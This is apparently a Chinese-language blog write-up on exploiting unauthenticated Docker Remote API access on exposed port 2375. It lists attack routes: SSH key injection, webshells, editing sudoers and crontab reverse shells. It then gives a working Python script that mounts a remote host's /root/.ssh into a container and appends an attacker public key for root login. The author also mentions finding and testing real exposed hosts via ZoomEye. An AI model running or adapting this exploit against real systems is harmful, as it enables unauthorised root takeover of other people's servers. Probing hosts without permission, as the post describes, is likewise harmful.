最近正在学习Docker,一直好奇Docker有没有安全问题,在一次查询Docker命令的时候偶然看到了这样一篇文章新姿势之Docker Remote API未授权访问漏洞分析和利用,激起了我极大的好奇心,踏上了一条不归路。。。

0x01漏洞分析

这个漏洞被发现是因为安装docker swarm需要开启2375端口,绑定了一个Docker Remote API的服务,可以通过HTTP、Python、Go调用API来操作Docker。在安装时由于疏忽或安全意识的欠缺导致2375端口暴露在外网,导致所有人都可以远程操作这台主机上的Docker。
  ps. 嘴笨讲不清楚,大家还是看上面的文章吧。。。。。

0x02漏洞利用

大牛给出了很多姿势(自己水平不足,没想出来新的。。。),总结一下:

  1. Docker是以root权限运行的,这是所有姿势的前提
  2. Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,我们可以参考redis未授权访问漏洞,将宿主机的/root/.ssh目录挂载到容器上,然后写入公钥。如果有web目录的话,最差也能上一个webshell。
  3. 有些服务器不允许root登录,可以写入其他用户的.ssh/目录下(通过查看/etc/ssh/sshd_config目录),然后修改/etc/sudoer中的文件,配置为sudo免密码,切换为root
  4. 通过crontab写计划任务反弹shell
    ……

0x03漏洞环境的搭建及一些准备工作

  1. 这次使用一台装有Docker的Ubuntu14.04的虚拟机来模拟漏洞环境
  2. 开启2375端口。方便起见没有安装swarm,选择直接开启2375端口。在Ubuntu下可以修改
    /etc/default/docker文件的DOCKER_OPTS为
    1
    2
    DOCKER_OPTS="-H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375"
    service docker restart 重启Docker即可
    ps. 目前只测试了Ubuntu环境,其他不清楚,kali2.0失败。。。
  3. API的选择。API的调用方式有很多种,可以使用
  1. 生成ssh公钥。
    Linux下可以参考这篇文章http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html,同时介绍了Client端和Server端的操作,我在windows下直接用Xshell一键生成的。

0x04漏洞利用

首先访问http://localhost:2375/containers/json?all=1
相当于docker ps -a
QQ截图20170131230501 (2).jpg
运行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import docker
import socks
import socket

#开启代理(走ss,另一篇文章详细介绍)
socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1080)
socket.socket = socks.socksocket

ip = ''
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
#端口不一定为2375,指定version参数是因为本机和远程主机的API版本可能不同,指定为auto可以自己判断版本
image = cli.images.list()[0]

#读取生成的公钥
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()

try:
cli.containers.run(
image=image.tags[0],
command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #这里卡了很久,这是正确有效的写法,在有重定向时直接写命令是无法正确执行的,记得加上sh -c
volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录
name='test' #给容器命名,便于后面删除
)
except docker.errors.ContainerError as e:
print(e)

#删除容器
try:
container = cli.containers.get('test')
container.remove()
except Expection as e:
continue

代码很简单,毕竟是自己家的东西~~
  可以看到authorized_keys成功写入,尝试登录,成功。
QQ截图20170131231356.jpg

QQ截图20170131231243.jpg

0x05测试时遇到的问题

在执行代码对主机进行测试时,碰到了几个问题,总结如下:

  1. API版本小于1.5,导致调用API失败
  2. 命令执行返回Permission denied,权限不够,可能用户安全意识较高,并没有使用root账户运行Docker
  3. 主机上并没有镜像。。。
  4. 连接超时、连接被关闭
  5. 还有一个很诡异的问题,有时某个镜像在运行容器时会持续很长时间,后面可能是强制退出了,执行了下面的代码。但是运行的容器并没有停止,也就不能被删除,导致报容器正在运行无法删除和容器已存在的错误。

0x06写在最后

说实话,在读完文章之后我的极为震撼,因为我手中的docker学习资料说docker是非常安全的,当然在官方文档已经明确标出不要把端口暴露在公网上,也有大牛对此持不同看法: 所谓的”新姿势之Docker Remote API未授权访问漏洞分析和利用”。但安全问题始终是一个“木桶问题”,取决于它最短的那块木板。耍大刀把自己砍死了固然不能怪刀,总有那么一些人不知道这大刀能伤人伤自己。。。。用zoomeye搜索并简单测试了一下,还是有些主机有问题。。。
最后贴一篇深入分析的文章DockerCon 2016 深度解读: Docker安全

0x07后续